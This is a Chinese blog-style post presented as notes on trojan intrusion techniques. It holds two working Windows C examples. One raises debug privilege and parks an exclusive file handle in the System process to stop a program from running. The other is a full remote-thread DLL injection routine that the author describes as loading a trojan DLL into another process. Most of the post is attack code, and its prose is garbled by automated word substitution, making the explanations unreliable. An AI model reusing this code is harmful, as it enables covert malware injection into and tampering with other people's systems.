木马凌犯技术小记


例1
在笔者的程序运营期间怎么着禁止有个别程序运维,不需求枚举窗口依然FindWindow的方案。

//VC-ConsoleWithApi 

#include   

void RaiseToDebugP() //提权函数 

{ 

HANDLE hToken; 

HANDLE hProcess = GetCurrentProcess();//获得当前进程号

if ( OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken) ) 

{  //获得进程的访问令牌(用于修改该进程权限) 保存于hToken里

 TOKEN_PRIVILEGES tkp; 

  if ( LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid) ) 

  { //获得SE_DEBUG_NAME权限对应的GUID

   tkp.PrivilegeCount = 1; 

   tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  

   BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0) ; 

  } //调整hToken句柄对应的进程的权限

 CloseHandle(hToken); 

}      

} 

  BOOL OccupyFile( LPCTSTR lpFileName ) 

  { 

      BOOL    bRet; 

      RaiseToDebugP(); //提升自身权限 

   //打开一个pid为4的进程,只要是存在的进程,都可以 

   HANDLE hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, 4);// 4为system进程号 

      if ( hProcess == NULL ) 

      {            

    return FALSE; 

      } 

      HANDLE hFile; 

      HANDLE hTargetHandle; 

   //以独占模式打开目标文件 参数 0表示不能被共享

   hFile = CreateFile( lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, NULL);      

           if ( hFile == INVALID_HANDLE_VALUE ) 

      { 

          CloseHandle( hProcess ); 

          return FALSE; 

      } 

 //把文件句柄复制到pid=4的进程中去,这样,只要pid=4的进程不退出,谁也动不了目标文件 

  bRet = DuplicateHandle( GetCurrentProcess(), hFile, hProcess, &hTargetHandle,   

          0, FALSE, DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);        CloseHandle( hProcess );        return bRet; 

  } 

  //入口函数 

  int main() 

  { 

      OccupyFile("D:""Program Files""工具软件""任务管理.exe"); 

     //任务管理.exe为要禁止运行的程序

      return 0; 

  } 

例2 远程注入

#include
<windows.h>
 

#include
<iostream.h>

int
EnableDebugPriv(const char * name)
{
                           HANDLE hToken;

                          
TOKEN_PRIVILEGES tp;

                          
LUID luid;

                          
//打开进程令牌环

 OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,  &hToken);

                          
//获得进度本地唯一ID

                   

       
LookupPrivilegeValue(NULL,name,&luid) ;

                          
tp.PrivilegeCount = 1;

                          
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

                          
tp.Privileges[0].Luid = luid;

                          
//调整权力

                          
AdjustTokenPrivileges(hToken,0,&tp,sizeof(TOKEN_PRIVILEGES),NULL,NULL);

                          
return 0;

}

//************************************************************************************************************

BOOL InjectDll(const
char *DllFullPath, const DWORD dwRemoteProcessId)

{

                          
HANDLE hRemoteProcess;

                          
EnableDebugPriv(SE_DEBUG_NAME); //升高当前历程的权杖,那样才能说了算大家要注入dll的要命进度。上例有详尽表明。

                          
//打开远程线程

                          
hRemoteProcess = OpenProcess( PROCESS_ALL_ACCESS, FALSE,
dwRemoteProcessId );

                      

     char
*pszLibFileRemote;
                  

        
//使用VirtualAllocEx函数在长途进程的内部存款和储蓄器地址空间分配DLL文件名空间

pszLibFileRemote
=(char*)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(DllFullPath)+1,
MEM_COMMIT, PAGE_READWRITE);
                          

//使用WriteProcessMemory函数将DLL的路子名写入到长途进度的内部存款和储蓄器空间

 

WriteProcessMemory(hRemoteProcess,
pszLibFileRemote, (void *) DllFullPath, lstrlen(DllFullPath)+1, NULL);

//
pszLibFileRemote 为保存dll路径的注入进程的地址。

//##############################################################################

                          
//总计LoadLibraryA的进口地址

PTHREAD_START_ROUTINE
pfnStartAddr =
(PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT(“Kernel32”)),
“LoadLibraryA”); //获得dll内函数LoadLibraryA的地址
                      

     //(关于GetModuleHandle函数GetProcAddress函数)

                          
//运维远程线程LoadLibraryA,通过远程线程调用创建新的线程

        

                  
HANDLE hRemoteThread;

if( (hRemoteThread =
CreateRemoteThread( hRemoteProcess, NULL, 0, pfnStartAddr,
pszLibFileRemote, 0, NULL) ) == NULL)
//在远端进度中成立3个线程,运行我们的dll中的LoadLibraryA

                          
{
                               cout<<“注入线程败北!”<<endl;

                              
return FALSE;
                           }

//##############################################################################

                      

     /*
                           // 在//###…..//###里的言语也足以用如下的言语代替:

                           
DWORD dwID;

LPVOID pFunc =
LoadLibraryA;

HANDLE hRemoteThread =
CreateRemoteThread(hRemoteProcess, NULL, 0,
(LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID );

                           
//是否感到简单了很多

                          
*/

                            
// 释放句柄

                          
CloseHandle(hRemoteProcess);

                          
CloseHandle(hRemoteThread);

                          
return TRUE;
}

//*****************************************************************************************************************************

int main()

{

     
InjectDll(“c:””zrqfzr.dll”,3060) ;//把zrqfzr.dll注入进度的ID号为3060的进度

       return 0;

}

恩好好好,笔者来解释一下,那正是2个最不难易行的控制台程序,dll文件之中正是我们写的木马程序了。3060是大家要抢占的次第的Id号,普通的次第中央直机关接调用dll时用LoadLibrary(**.dll)
就足以了

(动态接在),可是今后大家不可能一向调用,因为调用那句也唯有大家以后的经过知道,可是远端我们要注入的历程照旧不理解我们调用了,dll库。所以我们要把.dll

的门路存放到远端进度的内部存款和储蓄器中。(通过VirtualAllocEx();WriteProcessMemory();/)然后在远端进度中开启线程

CreateRemoteThread(hRemoteProcess,
NULL, 0, (LPTHREAD_START_ROUTINE)pFunc, pszLibFileRemote, 0, &dwID
);注意参数pszLibFileRemote那就是远端进度保存的我们dll

文本路径的内存的首地址。通过那几个路子,我们的远端进度就能够去找dll的贯彻公文。从而找到LoadLibraryA的地点,就足以运作LoadLibraryA函数了。

1
先后首先升级本身的权力
(那样才好控制旁人嘛)

2 通过进程Id得到大家要控制的经过的句柄,

3把DLL文件的门径写入到宿主的内部存款和储蓄器空间里,因为DLL的文书路径并不设有于宿主进度内部存款和储蓄器空间了,用到的函数有:

OpenProcess();//用于修改宿主进度的有个别天性,详细参看MSDN

VirtualAllocEx();//用于在宿主内部存款和储蓄器空间中申请内部存款和储蓄器空间以写入DLL的文书名

WriteProcessMemory();//往申请到的半空中中写入DLL的文件名

4在宿主中运维新的线程

用的是LoadLibraryA()函数来加载,但在采用LoadLibraryA()此前务必清楚它的输入地址,所以用GetProcAdress来收获它的输入地址,有了它的地址然后,就足以用CreateRemoteThread()

函数来运营新的线程了,到次,整个注入进程完成,但是还不丰盛完美,那就留下聪明的您来成功了;)。

详见:http://hi.baidu.com/43755979/blog/item/73b35eddcbaab7db8d1029e2.html

 

相关文章